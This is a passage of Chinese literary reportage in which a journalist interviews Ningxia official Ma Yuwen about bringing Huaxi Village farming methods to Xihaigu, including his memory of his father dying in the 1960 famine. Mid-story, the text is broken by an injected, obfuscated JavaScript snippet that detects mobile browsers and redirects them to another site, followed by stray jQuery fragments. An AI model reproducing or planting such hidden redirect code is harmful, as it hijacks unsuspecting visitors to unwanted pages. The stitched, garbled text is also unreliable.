的”。这个前缀的改变，轻微却致命。它像一根针，将新的身份缝进了旧的血肉。

    得到自治区领导马宇文的采访许可，是个意外。按程序层层上报时，叶葆启已经做好了石沉大海的准备。但三天后，电话来了，声音平稳：“领导明天下午三点有空，二十分钟。”

    他们提前一小时到政府大院。楼很旧，墙上的爬山虎枯了一半，另一半还在挣扎着绿。秘书引他们进办公室时，马宇文正在窗边看文件。听见声音，他转过身来——个子不高，面容清癯，戴一副老

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16904182|192343||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    式眼镜，镜片后的眼睛却亮得惊人。

    “坐。”他指了指沙发，自己也在对面坐下，“喝点我们宁夏的枸杞茶，补补眼睛，你们记者费眼。”

    茶是暗红色的，枸杞在杯底缓缓旋转，像小小的、沉睡的火焰。

    采访开始很常规。但当叶葆启问到华西村模式能否复制时，马宇文放下茶杯，身体微微前倾。这个动作让办公室的空气突然变了密度。

    “复制？”他重复这个词，手指无意识地敲着膝盖，“不，不是复制。是移植——而且是带土移植。华西村带来的不只是技术、资金，是一种‘活着’的方法论。你们注意到没有？那里的温棚，夜间温度比我们传统方法高两度。就这两度，西红柿能早熟七天，价钱就能翻一番。”

    他站起来，走到墙上的宁夏地图前。地图上的西海固地区，被用红笔圈出了十几个点。

    “每个点，都是一次实验。”他的手指划过那些圆圈，“有的种枸杞，有的养滩羊，有的搞光伏。华西村是起点，不是终点。我们要做的，是让这些点连成线，线铺成面。让整个西海固，不再是一个被定义的‘不适宜’，而是一个正在被书写的‘可能性’。”

    说到这里，他忽然顿了顿，看向窗外。院子里，一棵老槐树正在落叶，叶子旋转着下落，像慢放的黄金雨。

    “我父亲是西海固人。”马宇文的声音低了下来，“1960年，他背着我，走了四天四夜，到黄河边找吃的。我那时五岁，只记得他背上的骨头硌得我生疼。后来他找到半个冻硬的南瓜，自己舍不得吃，全喂给了我。我问他：‘爸，你饿不？’他说：‘不饿，我喝了黄河水，管饱。’”

    他转回身，镜片上有反光，看不清眼神：“那天他喝了一肚子冷水，晚上就起了烧，三天后没了。临终前他拉着我的手说：‘娃，以后要是有谁能让这块土地长出吃饱的粮食，你要给人家磕头。’”

    办公室里静极了，能听见日光灯管轻微的电流声。

    “所以，”马宇文坐回沙发，端起已经凉了的枸杞茶，一饮而尽，“我不感谢华西村，我感谢这个时代——终于到了可以不靠喝冷水充饥的时代。”

    原定二十分钟的采访，持续了一小时十七分钟。结束时，马宇文主动和每个人握手。握到叶葆启时，他多停了两秒：“记者同志，写的时候，别光写成绩。写写那些还没解决的——温棚的塑料膜三年一换，成本怎么降？蔬菜集中上市时的销售压力怎么办？年轻人还是想往城里跑……把这些也写进去。真实的希望，是知道难处还在，但还是敢往前走。”

    离开那天下起了小雨。雨丝很细，落在黄土上，瞬间就被吸干了，只留下深色的斑点，像